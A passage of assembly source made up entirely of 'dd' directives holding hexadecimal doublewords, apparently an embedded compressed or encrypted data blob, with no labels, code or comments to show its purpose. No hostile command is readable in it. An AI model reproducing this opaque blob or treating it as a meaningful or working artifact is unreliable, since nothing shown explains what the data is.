82D344CBh, 34CCA800h, 5958FC32h, 0E07F0043h, 9223A0ACh dd 0E17EFFC3h, 90844000h, 0CCE7B9DAh, 29D600FCh, 2AF4D1A8h dd 85707667h, 57562700h, 7CE67FAEh, 11600045h, 2D1639D1h dd 9000A8E4h, 6F55E5CAh, 0B9BC66h, 741EA4CCh, 0EFDC01C4h dd 0E702E600h, 2441E07Dh, 0C0971D03h, 0AA498073h, 792CA77Ch dd 0F3E2B700h, 745320B0h, 0B95038Eh, 6771EDA2h, 87BDFE80h dd 7061A739h, 30DE841Fh, 0C0830E4Eh, 6DA9970Fh, 0F3230014h dd 51908B9h, 3E0051FCh, 1675C43Dh, 2203B67h, 46B711Fh dd 0E7C0445Eh, 797E9906h, 1C022EF2h, 0EED9A0A4h, 89CF80D3h dd 3E6659B8h, 5B805E1Eh, 25DA147Eh, 7C001149h, 0F4A57024h dd 0BBBE904h, 0F7C94EBEh, 0D836E980h, 87003C7Bh, 38DD85CEh dd 3BB2FF26h, 0D4806F70h, 8A2528F4h, 0A1F8D146h, 5CEEFB00h dd 0AE3A37Ch, 156C0E8Ch, 0CE4F221Ah, 582FC580h, 833E3ACFh dd 0FAB60031h, 1B91D1B3h, 7EE244h, 7009E998h, 7D468188h dd 10CEAD00h, 0DBC57443h, 5CBD00B7h, 3C8B4A4Eh, 2D1CA778h dd 7600D5C1h, 925396F6h, 2B4300A4h, 0E5DD6B5h, 2F00CDF1h dd 0BA720998h, 3FD5E71h, 5F260F1Bh, 6498E542h, 2C0037BFh dd 54CC12D9h, 0B838C3h, 0C0D47F7Eh, 0F519E95Dh, 70FC9D00h dd 313BF76Bh, 0F65700E0h, 0D362DD01h, 0AF0EBAC3h, 0E08CC27Bh dd 0DC43F5E5h, 22E45Ch, 8AF615A8h, 91350B74h, 0EEDA900h dd 4E9B3997h, 0ACFC000Ch, 4A9F481Bh, 1D24D78Ah, 54003772h dd 8F7AEAF5h, 36C700E7h, 6CAC4CEEh, 531C25E2h, 50C007B2h dd 0C1449619h, 0B9E300DFh, 0BEE6D6A1h, 173C8E40h, 0D7F100F3h dd 0FA9E2B64h, 9AC700CDh, 0ADF93742h, 0BC074E1Ch, 48DC7A03h dd 0E94A1460h, 97E007Dh, 5EFC57E1h, 64709281h, 614F9700h dd 656BB238h, 0CFD20028h, 959CB651h, 0DF3841C0h, 7F028001h dd 2DA65A24h, 9B080440h, 80B661B3h, 0AA1637BDh, 52B8F960h dd 0EE8A1D34h, 7877008Fh, 0BF15AD71h, 6381832h, 28078072h dd 4D7909D4h, 0DAA500A6h, 0C5666D88h, 83008DA1h, 166E3E0Bh dd 0AA89Fh, 681AD30Ch, 0A99EE4C7h, 5236DA00h, 5DD5F68Ch dd 2BEA00B9h, 4D67D224h, 0A30048BDh, 0E499022Fh, 48E9965Fh dd 0AB0025ACh, 0DDC26179h, 4200387Bh, 1A59517h, 1E20731h dd 9A58A632h, 0E4E84B82h, 0AF6AC71h, 0E9B29907h, 60605003h dd 0F1062C6h, 0CA5A4CDFh, 1ABB57A0h, 71009C08h, 22128155h dd 5A4C961h, 0DA420375h, 40AE807Dh, 9B5CB131h, 52D600CFh dd 0C4B2590Ah, 9D5A004Dh, 0A7D367C8h, 0D100633Dh, 0A5F3A6EBh dd 7CAFE21h, 0B5F10CAFh, 0B8E870FFh, 40031D20h, 74EE8744h dd 4B639017h, 35800062h, 5F9ECF6Fh, 270A5702h, 0CE132AF0h dd 0EE7A6B00h, 262547E7h, 0A27148h, 19B6388Dh, 9500A1A0h dd 6A2A6DE8h, 0A084D244h, 75367FEh, 1A6477EEh, 426E16CAh dd 0F7A6E300h, 9F1B297Dh, 9DAF00C7h, 528C7F9Ah, 23004DA9h dd 0D09E80D2h, 7F33DEABh, 977BCFh, 351AEE7Ch, 3118B6BDh dd 0E88DDF03h, 8078A0A3h dd 0CECD60h, 5A283034h, 913CC847h, 0ED708900h, 8A3D809Bh dd 6BF800EEh, 0AE4E033Eh, 0BEE63382h, 0E6729500h, 9F3B1DDCh dd 6BCD007Eh, 0D63CD117h, 0BF00EFEBh, 0A2ECFB22h, 1B94F08h dd 0ECA49DFh, 0C089B270h, 0CC00DA1Eh, 0A15579AFh, 3D742A5Ch dd 2F1CB14Bh, 0CDFC408Ah, 48D5B33h, 0C02FE00h, 40267E82h dd 397D0086h, 936512F0h, 46008BF6h, 34FBB43h, 1D7A6AE5h dd 40ACF25Fh, 0ABA1ED55h, 61E8236h, 844B74DFh, 0B41781E6h dd 56C49F8Fh, 26BA1C88h, 0D872402Ah, 0A4788D84h, 0C5679E00h dd 36EB83CEh, 94F1005Fh, 0E2987F31h, 0AF00ABF5h, 8D6124DAh dd 12FFD9h, 0A4E0B866h, 7B81C149h, 0E5587900h, 15605C7Ch dd 0B1060023h, 47A59BE7h, 0FB001399h, 0BB647465h, 2257FEh dd 0B31263DDh, 66BA4814h, 8BE24901h, 3396C105h, 0AC4EAF5h dd 1C3400CAh, 0C6B30955h, 0E000A96Fh, 8DF29C37h, 0DC2D9Fh dd 99AAE1DBh, 0D9D71CDDh, 34B7B807h, 0C4203C37h, 66395h dd 0D12A45E8h, 2BB45BC6h, 0A13B3973h, 95118041h, 36829CE2h dd 917500EBh, 0C23AFD3Bh, 0DC072C21h, 5CD1BA84h, 38F524C0h dd 0E9D80003h, 27CE08Fh, 0C60F6D4Ch, 0C0D11BFFh, 3529F8EFh dd 451200B9h, 7F82C0DBh, 0FC00FFB1h, 2425426h, 2A14A0h dd 0B3D69068h, 0F6D3E1C4h, 0E5D50400h, 0B6118E6Ch, 14C70E93h dd 554166F1h, 0DC8894BAh, 153975F4h, 0B367801Dh, 13341050h dd 32C50504h, 8061A528h, 0BF552094h, 0BBB23B00h, 72904C73h dd 58D0011h, 0A1A2379Bh, 600FAAF5h, 377AB3Ah, 0C864B981h dd 16F35Dh, 0B87E3E17h, 0AD39B5BEh, 3BA3300h, 0B390521Ch dd 88490F91h, 95E06DECh, 0F64696B8h, 8CE45A00h, 0CFF006B0h dd 0FB8F0FC1h, 7640E374h, 6F81D544h, 0D107C00h, 2306A533h dd 0D42B00B7h, 85706C2Eh, 2D00862Ah, 454AE7E8h, 1FF9C759h dd 9F4EDAh, 7977E9D2h, 0FA00C8A5h, 0D002CB23h, 85D5C0h dd 1DFD195Dh, 54F9896Ch, 2500D6F6h, 15BE87AEh, 0C109CFh dd 867E91C2h, 0F980DFE5h, 0BAB60203h, 0A0F76F7Dh, 9B24BFh dd 3B07BF2h, 9FC656A6h, 0D73E5307h, 64D0C9B5h, 0D5342Ch dd 4BAB3115h, 52F009F5h, 4E20FF00h, 0E9B5DD60h, 0D7A0007Bh dd 0CB0E4B76h, 9301DC6Bh, 635DE7ADh, 85D4D23Dh, 14DF07FEh dd 0A0FFBBA8h, 0C11583F9h, 7CBF7901h, 4DEEC671h, 7444C4h dd 11C87EBCh, 0B5E130AAh, 53CD0607h, 23F0468Eh, 7780CCh dd 49F6C669h, 62749BF2h, 123EA900h, 7D2F4F61h, 86DA0EA1h dd 0CA80FC5Eh, 6DE1A0FDh, 58ABC800h, 0F10FA7F2h, 86BE00D8h dd 0E7F8EB95h, 8200D59Fh, 0F0A36BC0h, 0FB14CEh, 8DBFF209h dd 0AD666960h, 8034253Bh, 38A5F84h, 0A0C7ECh, 5355F32Eh dd 22D4940Ah, 91BF9800h, 0C263723Ah, 0F3A003D2h, 0A96E4050h dd 80B7E3BBh, 10B0754Bh, 0F7580E00h, 57402E79h, 0FD6000E9h dd 0CE3AAD1Ah, 661F5401h, 2802C7Ch, 0B1DBB752h, 185300CFh dd 0D6ADDE1Bh, 3E009594h, 5444CCD4h, 897509h, 4CEAF08Ch dd 4E8ECFBFh, 8D9FCA01h, 19C15647h, 1F7734F0h, 24C79795h dd 8E280033h, 57084BB7h, 9924D8FEh, 3C0086ABh, 0EEA2D402h dd 0A6DE6039h, 0B6E673E1h, 0C03F5000h, 4262835Ah, 29A43AA1h dd 0CB483E01h, 80278D0Ch, 0C79A873Eh, 0CE6698h, 0B6A2E24Bh dd 8FA92CB1h, 233ECC7Eh, 8E5D006Bh, 0E99289F6h, 0FDBD0140h dd 0EB62D628h, 0B539E450h, 4844F139h, 2F820050h, 5C989A5h dd 0B6F6001Dh, 0CB511A55h, 9D0039D3h, 24139CEEh, 30E411h dd 76A90DF7h, 533FA8BFh, 43D9C300h, 0D82FEEFBh, 0C65002Ch dd 10A46DF8h, 1DE8B93Eh, 0E79E972h, 99BE81Eh, 1A8D2C0h dd 5CCC245Dh, 12000E96h, 0B16DE64h, 9900FB7Bh, 85AE684Ah dd 94EA87h, 3E59A204h, 10B97408h, 0AC1EDB00h, 8AFCB6A5h dd 0E5A800B0h, 7B5953FAh, 0BC00A628h, 921C9BD8h, 1E774451h dd 0C007AA80h, 2731BB0Ch, 2900B0DEh, 83703D9Ah, 3C0F387Ah dd 2A0B534Bh, 5D000DEAh, 76246777h, 0AC68A604h, 2280C527h dd 0B49DF2h, 9EEFC48h, 0F8C0D814h, 67AD1800h, 538DAF0Fh dd 0B47B68h, 0A84A96ABh, 6CF4ED63h, 9485E1Dh, 46857900h dd 252F3h, 7F33FC87h, 0E65E92B0h, 19DDB201h, 0CB220B15h dd 3BEB0DF0h, 780E7E0h, 66F691B7h, 2C079E28h, 0F36B306h dd 3D8596A0h, 87F4E9A2h, 336B0E68h, 809F4D56h, 4A3A6FCBh dd 0A103E42Dh, 662C807h, 0A6F3C0C4h, 0C029074Bh, 13E15483h dd 0C9C08D9Dh, 0BF00CBCDh, 0ECA0A265h, 0F192FAh, 0DFC5FFC3h dd 0EE0DA3DBh, 20783803h, 0F94D05Dh, 5E673954h, 4EA8B580h dd 7A004B7Dh, 0B7EDC92Dh, 7A6DA036h, 54641C9Ah, 28028267h dd 0E4401006h, 0E80BC13Ah, 803DAD27h, 4A3E1D50h, 327724FFh dd 12100060h, 6122D0DDh, 30635506h, 1A0BD5h, 94E8B132h dd 797A12D7h, 0AD0071ECh, 0FA816C9Dh, 3B82826h, 3F895C34h dd 8BC0ED51h, 7158EB4Ch, 0CD9E00A9h, 0AB947519h, 0C250013h dd 2652A216h, 0FA1C8AD4h, 0F0800D14h, 1121F169h, 0EC32006Ah dd 24FFB3B2h, 8C001548h, 7AC7203Bh, 75AD04A8h, 4F7500F7h dd 7BCD3553h, 0B100036Bh, 7E7160FBh, 0FA79F2h, 148319A5h dd 3D688B1Bh, 43C70D01h, 9E0F4D69h, 7D0377ECh, 92701D8Ch dd 15CD808Eh, 0DAA8C2E1h, 0BD865C00h, 4D3F87C0h, 0C960005Dh dd 5A561407h, 34733825h, 709FFD03h, 0C895E133h, 53BF6h dd 1C647EB3h, 9B623D79h, 82600F04h, 0EB809774h, 0E47DE32Fh dd 52E500AFh, 5821178Ah, 76039624h, 32F1ED4Ah, 8283B85Dh dd 0F5EF0034h, 152D9EF2h, 69038DB2h, 6111CAB7h, 753CD079h dd 0D5F30080h, 0DDD7D129h, 7716C443h, 0CD00F141h, 63A270EEh dd 19E0086h, 609F8E4Dh, 0EF009762h, 93CB6155h, 0BDE1571h dd 0BC7A35CEh, 81398280h, 0F100284Eh, 70953436h, 0DB864Dh dd 0B0272942h, 14580A66h, 7C795400h, 0E6FB533Ch, 0E57B006Bh dd 0E9685B7Ah, 167F8348h, 0EC759D00h, 415DD460h, 1CA7365h dd 0A5C9372Fh, 703EAFF2h, 7E00BD6Ch, 79214752h, 0EA5532h dd 144411EEh, 60197301h, 480CC61Ch, 2E45C1C0h, 847FDh dd 0F03991B2h, 6DD8590Fh, 5D2D5A0Fh, 29B18043h, 0BD5B1Bh dd 2BBB7B0Ah, 0E9EF8483h, 0D2FC2F00h, 90E8B69Dh, 0C6C90046h dd 4D4E9AE5h, 9200B5B7h, 0D33FBAC2h, 5CB8538Ah, 6700B22Ch dd 0D7EBDCADh, 5E0326B6h, 0DF71AE30h, 4F7BC048h, 29080084h dd 0B7D7A5A8h, 4E1E178Fh, 9781FBE6h, 7EE56707h, 485560h dd 0D6DC2EF9h, 0F1EB432Ah, 0E7E41800h, 0F27336DBh, 0C1F2D7h dd 0CC8294DDh, 569A14E6h, 0B380A600h, 0DA472732h, 5D6E008Dh dd 0DF44AFD6h, 5100FDD1h, 93E3F560h, 23697Bh, 0A3332A09h dd 0E7B89A75h, 81DE5B0Fh, 77ABC28Fh, 744AC073h, 511EE0Dh dd 3F6CCC7Ch, 0C6FBC05Dh, 27749B35h, 4278AF00h, 92D0D111h dd 0EB2D00DFh, 94F3C972h, 0F471C3B5h, 93355603h, 0F9FD971Fh dd 0B06F5D42h, 1005585h, 0D7176678h, 0EF5E1Ah, 0EA260714h dd 65714991h, 24E9E800h, 40A7A143h, 0F27500CAh, 9927B5EBh dd 0DDE816CBh, 481C3Fh, 0BDB42A01h, 7AC2F6h, 69800E6Ch dd 2CC9552h, 81B27300h, 9DA7E332h, 0E6317037h, 7E9C1FCEh dd 0C9111E24h, 80FD1579h, 6AF74CF7h, 0AAB6096Fh, 8700A695h dd 50FF8883h, 5FA5C100h, 0EFDE2C01h, 0DCB11FB7h, 690747FEh dd 0E1373053h, 7207D142h dd 0F7C52EEDh, 64C98D0h, 0B1400F8h, 0AC44A729h, 681FF056h dd 280DC6Ch, 47F39B19h, 329400CFh, 0CAC7164Fh, 0F700D3B5h dd 0DE45FBD1h, 3B4AFCCh, 0ADC10CA8h, 79E06DEFh, 6E008471h dd 74AC7BB0h, 0CF702Eh, 137A391Ah, 62169399h, 0CB2B7628h dd 0A8614A00h, 6B5C52D9h, 0C52203AEh, 316601D6h, 19099D88h dd 1F577800h, 0BE687284h, 0D152003Ah, 0BC66CDDAh, 1D012AAAh dd 9BDE2801h, 6020DBCCh, 37C985Ah, 7205BEF0h, 0CAD91CC6h dd 71D1F08Eh, 5B34A707h, 0D4C337C3h, 83EFD86Eh, 9660507Dh dd 7B0714Ch, 3CA51E0Fh, 2728500Ah, 0B100F0B6h, 31EFA240h dd 7388B2h, 0D28D0E0Bh, 63936B5Eh, 0A606BF03h, 0B0C843D6h dd 0A9202Ah, 0CD7AE128h, 0CBC0821Eh, 0FB35C500h, 13854664h dd 1CDF00B2h, 0A2F0ED50h, 7E72B6BFh, 64D76303h, 0A83C0142h dd 0F8A1D4C2h, 0EB70007Ch, 21B78379h, 0F000F83Bh, 1ABBB1CFh dd 0E84FAFh, 4B20700Dh, 0E17E1795h, 9D601024h, 21EB0900h dd 0EA6FE850h, 19BC004Ah, 9D014B55h, 0CE00D25Fh, 58735C92h dd 79D7AE2Dh, 2E53009Bh, 6FD57F50h, 8E906AA7h, 0EFAF8D00h dd 4BA1A033h, 52E40078h, 735FDA18h, 0F51DBB82h, 0AA40CA8Bh dd 80C16509h, 0E39099h, 54ABF303h, 37DE1A06h, 0BECA9400h dd 214D28Ch, 0A6750Ah, 52C47256h, 59FC98CCh, 36CE6907h dd 8069BD8Bh, 67B83F6h, 0A5FEE2h, 8FE555D4h, 46C64F6Ch dd 0ADE41400h, 0F3022B31h, 4E08005Ah, 0C7F0E25Bh, 8900E586h dd 0EDC12DD3h, 0F5721Bh, 75787714h, 9C3E76Bh, 0A1A2C07h dd 0BDF02E92h, 2469331h, 51E01701h, 0C263242Bh, 0E49FD7A1h dd 77007DE5h, 71FFDD11h, 14592Ch, 3DBB4F24h, 96A945D4h dd 0BC01C900h, 509223ADh, 0B2FAF2h, 603653F9h, 0CE0988A9h dd 87A6E23Ch, 0A773547Eh, 9AC0BF25h, 0F354885h, 1F8EA9CAh dd 62C43000h, 0B5006DAAh, 28654F46h, 386132h, 1AFAD970h dd 5F204950h, 300B9900h, 0E9A8878Ah, 0FB22005Bh, 1F9757E1h dd 20056BAh, 0FFB83850h, 10B7B37h, 39C3F47h, 20BB624Ah dd 4F008ECAh, 942978A1h, 5A6B98h, 0C3F441ACh, 0A09531E3h dd 1A48231Eh, 178C4FC0h, 1DD535h, 8581A9E8h, 0F6D2EC6Dh dd 0A6003D7Eh, 0CE277C91h, 7CBA1B2Ch, 0E6A4008Eh, 35C10DC3h dd 303CC017h, 0F80009Fh, 0F3790976h, 78F100F4h, 44AC1037h dd 0CE007F83h, 0C8ED9BCCh, 0FE6109A4h, 5C2A002Eh, 69CC1D7h dd 4700AF97h, 0E8A262F2h, 3B63C55h, 9669DEF6h, 57E8674Bh dd 0A6EABBADh, 0AA3B892Ch, 0F72F09h, 6234326Ah, 6B800096h dd 0BF1767D4h, 780083D0h, 0B359AC3h, 2795EBh, 6615762h dd 63A9E56Dh, 9F43703Fh, 1D00835Dh, 8DA955Ah, 776100B4h dd 4330B6E3h, 5874E0A5h, 0BA26C8FCh, 1300DBAFh, 22A806B5h dd 70172D3h, 9C943A1Dh, 0B0DA47DBh, 449E0917h, 0B2BDAA00h dd 775A9F75h, 0A91E00E5h, 259748C5h, 59039870h, 0D9AA56A1h dd 2F9FA0D6h, 0A362008Bh, 1AFECD29h, 48016D2Bh, 44056B7Eh dd 3AE891F4h, 0DC9D0590h, 0C77073FCh, 0E38B10FEh, 89006582h dd 376CCEDFh, 2D8EA8h, 0A98F05D2h, 460FC45Ch, 1A527D00h dd 0FBCC7920h, 0C8BD0090h, 0A3724D1Bh, 0C100CF7Ch, 58CB7E3Dh dd 0F3FE08Ch, 0E79AE923h, 0B515B040h, 5F0E4838h, 804EBAD5h dd 8A711FB8h, 44A2034Dh, 6DCE6C77h, 0FEA94BE0h, 6123902Ch dd 0AB04700h, 1896B7h, 1CEE714Ah, 70B601EDh, 7641D000h dd 0EF5CE495h, 901B00B2h, 0C0B7F29Fh, 103DD89h, 5A9224FFh dd 3F5D986Ch, 763E2A7h, 0F5BE86D1h, 6A9D601Eh, 0BD00D90Ch dd 2E50AA2Ah, 30B949Eh, 863E68DDh, 0DC901977h, 17000A1Dh dd 0C0CFC960h, 0EED18847h, 244DE899h, 1DC6CB6h, 5091CB25h dd 0D70BF81Fh, 0AD961400h, 0ABC3D906h, 7BDF2CE5h, 0BC2E00FBh dd 0B172D013h, 2AEF9400h, 4948B2CBh, 9DAC07F6h, 0C08DAAC9h dd 3B75306Fh, 58290100h, 0B7ABB018h, 0D6EE0009h, 0CE5AF905h dd 5D006497h, 0D41FCC7Fh, 48399520h, 0F33FAEB8h, 0D6980487h dd 6E91604Fh, 0D900A448h, 0E19310FFh, 78B62C1Ch, 0C61305B4h dd 0C108B995h, 0ECA46BC7h, 0B00416Dh, 0DBFEA55h, 5CB280h dd 34A2D364h, 51DD744Eh, 0F89A6801h, 7BE601BEh, 3D5FF8h dd 12A41A64h, 49EE5D0Fh, 0FD3A07ECh, 3445814Dh, 610C1588h dd 2CCE78CCh, 0D304B2h, 82520E29h, 0C93AFD5Eh, 4C79803Ch dd 76887D74h, 0CB49488Fh, 50E78400h, 0E64B9A6h, 0BC0029FCh dd 5D7A960Ah, 335C68h, 7B77301Bh, 6CDD73C9h, 0D1079CF6h dd 86F8CE0h, 8ED921FFh, 5EDDA24Bh, 5C22D4h, 6A13B48Bh dd 5F9941C3h, 606E4D00h, 0AC5DD19Eh, 2CEF004Eh, 0E1828885h dd 773D9264h, 6FB8071Fh, 7287734Ch, 0D34A3CF0h, 0ECAD00B9h dd 93E28DEAh, 67001BDDh, 19EF5079h, 110A081h, 0C918F8CCh dd 0FC4E99A8h, 0A51DABE7h, 59C5D4BFh, 0F48056ECh, 2EF0C4h dd 1336B3AFh, 4A08EA8Ah, 83D44E0Fh, 75F940FAh, 4820EE1Bh dd 2F00985Ch, 4003B4FDh, 370FD292h, 4017E42Dh, 46D9F158h dd 650D0BB0h, 0D8009793h, 73F84AB5h, 5700BFEEh, 83F12D08h dd 13BEE7D5h, 90FA42h, 3098EF19h, 290F9232h, 0C0CA8439h dd 0D2F0687Ah, 0C97DA3h, 0B8D4AF4Bh, 24E53AF9h, 33543900h dd 99B6DBB1h, 69BC00BDh, 0E3D67A02h, 1000EEC3h, 0E5598AD9h dd 860A61h, 0B8624305h, 11B05890h, 335EB100h, 0A8868E1h dd 0CB4B003Ch, 0C6CA7B19h, 3D00A878h, 0DD9FF308h, 1F79C34h dd 0FF358696h, 60B3DEDAh, 8002CC8h, 0E63F8B53h, 0E80B7h dd 14EF2E9Eh, 0B8C9200Bh, 4EED8D00h, 13E76658h, 0FF7AB1h dd 6BE3F9B7h, 6A75997Eh, 0E126300h, 6E3C1C42h, 0B13F00DBh dd 25EF8D1h, 9F034A45h, 0F3F7FA93h, 348FA0FEh, 6AD100A8h dd 9FC3022h, 0AB7E42F8h, 0ED31E600h, 253BC274h, 5BA70063h dd 6E8422C9h, 1E00FA6Ch, 0CFB1C4B9h, 3C99B2h, 0A62EC621h dd 7BE2D390h, 0B984550Bh, 0A9CF8002h, 9789CEh, 934A4727h dd 1563F831h, 61CC8300h, 2BE52ABBh, 3D810029h, 3F01DA5Dh dd 0F7762516h, 1326F101h, 91C4B1F0h, 8CEBB06Ah, 0FA4D2800h dd 519E87ABh, 86991D8Dh, 807CC0F6h, 0F254D3B5h, 696A4907h dd 82D79212h, 19E0C280h, 900E00A1h, 0A4B6BF8Eh, 1E0102B5h dd 4015EDC3h, 8FD4EAE5h, 0F3F1D28h, 0E35940D8h, 0D7653336h dd 35C28D1Ch, 0E916B500h, 1E84F2D2h, 123D90Dh, 0FB28D120h dd 7C3E60AEh, 80264E27h, 0D533A01h, 0D26700B9h, 0B39B61ABh dd 84009931h, 0DA93493Fh, 7EBDDBEh, 0C9F43BD9h, 0EAC6311Dh dd 38D7F8A1h, 6A675600h, 5721372Fh, 3C8C3C79h, 3B96DB0Bh dd 7055007Dh, 6FA2BAh, 9E2D9A4Eh, 0C02C2FDh, 0C1582472h dd 0AEFC0489h, 75C0B88Dh, 0A2F37Ah, 5AD14ED8h, 89B24D1Fh dd 7751DE00h, 9B05B645h, 2A4200D2h, 35D74764h, 6201A3A5h dd 6D5B33ABh, 0D1CC6F16h, 0FFF739E4h, 1EBF8D81h, 0E80C8F22h dd 0D43861D2h, 0E2CF8E54h, 0FA7EA063h, 5524E9h, 713DF738h dd 1ADC3101h, 0DD03E17Ah, 79B2E6F3h, 0BD02F016h, 303703EFh dd 0C042F969h, 530AB1EFh, 73B8F494h, 3A922B00h, 496A9EB0h dd 39AD0006h, 0CDAA33DFh, 0C9700B45h, 0F0C33B07h, 0B1104C72h dd 775A59Fh, 94E9D913h, 1A89E05Dh, 0FF005912h, 25402158h dd 0EE961824h, 31EC076Eh, 0A9B5AF23h, 1E436300h, 0C100A968h dd 0FE4820CFh, 0D4EDBCh dd 560F5B22h, 64B10514h, 7490DFEAh, 28DA6500h, 0C423CAD1h dd 0BA4D0771h, 0A0BFEBE3h, 0D2896CF3h, 46B61C00h, 36995B53h dd 875162Fh, 63AB00C3h, 0EF9F6E52h, 0C9D0AB00h, 1F6BBCF9h dd 0FBE601C5h, 17D2B074h, 3EDDE854h, 0F7DC3A00h, 870FA0E3h dd 8EB10341h, 8893D8DEh, 2DA9EACBh, 503DF84Fh, 70105700h dd 981E747Fh, 15590017h, 562A34BBh, 53F8C5CBh, 264C4900h dd 0C11A75A2h, 4F10046h, 2B106DD0h, 91F8D67h, 3D012DADh dd 8351B987h, 5760D461h, 7E3EF0DBh, 0D8DA0B45h, 0FFDDD1h dd 0C2656FEAh, 0F12F01C7h, 0F5989A67h, 0A657D87Dh, 9CC63601h dd 0D8314F60h, 3ECC9DD0h, 0AC00047Bh, 0F68D7E9h, 4F00CDC1h dd 0B5B7BA1Ch, 0E8B18Fh, 956EEB86h, 5A4CBBA9h, 50CF2748h dd 0C50050EAh, 7BA4142Ah, 0E8E2613h, 30F6D785h, 0C828F020h dd 0B628DF19h, 5001F79Dh, 949E312h, 6FFC7075h, 730500B9h dd 0D8BF82AFh, 0A03ADA92h, 0F1CD80EEh, 0C233F15h, 5BBC009Dh dd 0FC246959h, 391C2143h, 0BA16AA6Dh, 4F207D0Eh, 925400FEh dd 1DC5ADEEh, 8935604Ch, 0C004245h, 0CF28A14h, 0CD840E00h dd 595E0B04h, 0C28907B0h, 0B073A97Ah, 0F6FBFFD6h, 0C4796405h dd 0D480DFA8h, 544012h, 0BA93623Fh, 0E94B286Bh, 0EBEDF300h dd 7FB8F2A3h, 0A173F49Bh, 2F70F0BAh, 4D941CD3h, 0FA7DA0h dd 0F4E9C4AEh, 0B47D3148h, 783333Fh, 24710F2h, 2C479167h dd 0AF7243E0h, 0D0600F0h, 9FD323F6h, 5D07EE03h, 0F530B090h dd 167B48A0h, 0A1C73D21h, 3B89F90Eh, 8FA92440h, 1F074E9Bh dd 2184AD56h, 0A52B4920h, 12AF8ACh, 1303AFCEh, 9CED0828h dd 0F380F7D6h, 3DC3C407h, 0B6F400FDh, 0F21B14CCh, 6A062E52h dd 0FAE4D235h, 0C10407F2h, 9B82F88h, 0FEBABA87h, 0A7308480h dd 0E624D4E3h, 803E329Ch, 1A86AA0Eh, 1C694B4Fh, 0C0C8BEC6h dd 46E87EFEh, 44EC411Ch, 8C73Fh, 0F9C56F50h, 5B2AFB3h dd 3662E70h, 0E60980CBh, 0D700914Dh, 5779C43Ah, 0E44885Bh dd 0F5867BDDh, 0F2F031A0h, 6C073E75h, 0E69A6D35h, 0B5B69500h dd 0DF8300BBh, 34E732C2h, 71CDBEAh, 94C1461Dh, 6B706A4Fh dd 73906C8h, 0DA518043h, 0C09BD7F2h, 3F5E44CBh, 0CD7618EEh dd 0B868A100h, 867A4892h, 0A57C23h, 65566CEEh, 0E53810ACh dd 8178ED00h, 0B4A776DAh, 264600E1h, 0C601871h, 0B800DDAFh dd 0EC62A93h, 0CC8F8Ch, 0F3B73C05h, 7FF7B32h, 63FBB100h dd 2CA891E0h, 0D1E8BCh, 814C9964h, 8D3BE8DCh, 0DEFB3E03h dd 0D86D7CA7h, 6FFB3F5h, 0F4F3F9F6h, 351F384Ch, 7D806C3Bh dd 0B3A00624h, 951D24EFh, 0CA64003Fh, 0F40153B4h, 0EE341500h dd 0D96B77Bh, 0BE6F0029h, 77C61311h, 8F010B1Eh, 9EC15DD7h dd 993014C0h, 45740002h, 3E93ADC5h, 0A801B9D1h, 90FFDFABh dd 0D5F89CD8h, 779F003Fh, 0A3CBB06Bh, 0EE057F46h, 0A7317DECh dd 8A876887h, 0B074DF83h, 240E45h, 5C9DB11Dh, 0C4950241h dd 838CBC05h, 0C03511h, 12D05660h, 1F6D91Bh, 0BBDA6255h dd 0A0E9D807h, 667BE60Eh, 516E80F1h, 0D8BD68h, 972BF8B3h dd 48B50AFFh, 4600AD90h, 6B1D256Ch, 43EFF2h, 4E268823h dd 602129FCh, 0CDC3E21Eh, 521AF8C0h, 0FDFAB65Bh, 0C650DCh dd 0E5ED0930h, 9C6FE205h, 0B85B150Fh, 10AD87FDh, 2C6DCBE0h dd 607F00A7h, 74074ABBh, 6101B148h, 0A5F38F64h, 0C520D5C3h dd 0EADA3A4Bh, 0B7001ED8h, 0C69804EDh, 6D580FA7h, 47007FDDh dd 7DD5E0EAh, 3C87C1ABh, 951DFBDBh, 91DC0CEh, 57FE5EF3h dd 44B8A300h, 73CADC23h, 0A9B000BDh, 3AAD5CA8h, 5B00A7FFh dd 76070127h, 5C84FBD9h, 713335h, 0F856C7ABh, 408FD137h dd 872F2C3Ch, 0AAF0759Dh, 87CCA6C0h, 587803F3h, 0E0ED5506h dd 0D296A7C0h, 24C38E00h, 7FC1E9EEh, 3AAF00B6h, 0C79B7343h dd 51008AA2h, 7D2A6EE7h, 487F37h, 6C866926h, 0C257A395h dd 53D5B48h, 2563F2EAh, 4C9C66C0h, 0E531000Eh, 92D41C87h dd 7900D366h, 0E04D6CE4h, 3A283811h, 4A875C3Fh, 1488BAE3h dd 210FC79Bh, 0C8F286CDh, 7900EF02h, 3F692BDh, 26B72C71h dd 0BE6ACAh, 0B648525Eh, 0BA00737Ah, 0B008D1DDh, 277533h dd 85DAEA2Fh, 40727D5Ch, 41FC100h, 0F10C2B9Eh, 801800CAh dd 8CFE3E61h, 0EB39F49Bh, 30980CEh, 82ED5F6Dh, 34D70304h dd 0F2EFD408h, 71C0ABBBh, 5900B438h, 7E82512Ch, 1D913B21h dd 9350C3h, 3FA1C867h, 0AF009D2Ah, 37BC1841h, 140194Bh dd 7BF72880h, 0FC05C6B5h, 1E0F3F21h, 808390E7h, 787C36F6h dd 0B78F003Eh, 0AEA48C72h, 0C11E9414h, 0C500F7A2h, 8B701991h dd 9B48000Bh, 2FFFD18h, 0E200103Fh, 4AEC47DFh, 1CD7E1Ch dd 0A38115B2h, 0ECB4555Fh, 0E10F29CAh, 60E27054h, 0C9F914C7h dd 167E078Bh, 30D26AD4h, 5EBCB99Bh, 3C638900h, 0E2D302CAh dd 98870064h, 298A054Eh, 0B9002734h, 13D7C007h, 76771C2h dd 8BE2B4F7h, 9EAE1040h, 0BDF89D7Eh, 47D3AC00h, 660E9894h dd 39D7008Ah, 1A43C653h, 0B60073E4h, 8F1E5C92h, 15F0FAh dd 9C997D70h, 0DFFB25CCh, 12177E00h, 5B33D144h, 0D360002h dd 0C240A35Ah, 8C3BB23Ah, 9DB0FC4Eh, 0A2215100h, 0EBCD219h dd 0C977006Bh, 0C6D0D62h, 0C6004309h, 375288E5h, 3CBF2D48h dd 78804244h, 0F35BCDA5h, 0F026F1BEh, 1A01F1C4h, 3877AF8Bh dd 2608C61h, 42DF0095h, 5315048Dh, 0F100F5C5h, 13A127A0h dd 0BC4C19h, 9F5B9AFAh, 243D3FC4h, 0FF560D00h, 2883629Dh dd 0F18F0E78h, 4800C729h, 39DE5034h, 0B41B1E09h, 44DC0092h dd 0ABE9D0h, 0C3D5875Ah, 2ADB492Ch, 7274607Dh, 9A369500h dd 66D49776h, 0A1AF0F92h, 0E1808C0Ch, 79C5488Fh, 0FC1F82E6h dd 